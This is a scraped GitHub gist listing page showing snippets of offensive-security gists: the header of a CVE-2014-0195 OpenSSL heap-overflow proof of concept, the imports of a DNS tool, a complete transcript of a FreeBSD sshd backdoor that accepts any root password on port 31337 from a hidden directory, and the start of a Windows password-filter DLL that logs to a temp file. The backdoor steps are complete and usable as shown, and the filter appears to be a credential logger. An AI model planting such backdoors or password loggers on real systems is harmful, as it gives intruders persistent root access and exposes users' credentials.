Skip to content

Instantly share code, notes, and snippets.

View atimorin's full-sized avatar

Aleksandr Timorin atimorin

164 followers · 89 following
View GitHub Profile
@atimorin
atimorin / CVE-2014-0195.py
Last active August 29, 2015 14:11 — forked from takeshixx/CVE-2014-0195.py
#!/usr/bin/env python2
#
# OpenSSL heap overflow PoC
# Found by ZDI - ZDI-14-173 // CVE-2014-0195
# PoC by @_hugsy_
#
# Ref: https://tools.ietf.org/html/rfc6347
#
import socket, struct
@atimorin
atimorin / masscares.py
Last active August 29, 2015 14:07 — forked from rep/masscares.py
#!/usr/bin/python
# -*- coding: utf8 -*-
import sys
import os
import time
import select
import socket
import pycares
@atimorin
atimorin / kcope_ssh_backdoor.txt
Created February 18, 2014 19:50 — forked from mubix/kcope_ssh_backdoor.txt
simplest sshd backdoor ever.
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# uname -a
FreeBSD BSDPWNED 9.0-RELEASE ...
BSDPWNED# mkdir /tmp/" "
BSDPWNED# ln -sf /usr/sbin/sshd /tmp/" "/su
BSDPWNED# /tmp/" "/su -oPort=31337
BSDPWNED# ssh -lroot -p31337 0
root@0's password: <any password>
@atimorin
atimorin / evilpassfilter.cpp
Created September 22, 2013 20:03 — forked from mubix/evilpassfilter.cpp
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
void writeToLog(const char* szString)
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
if (NULL == pFile)
{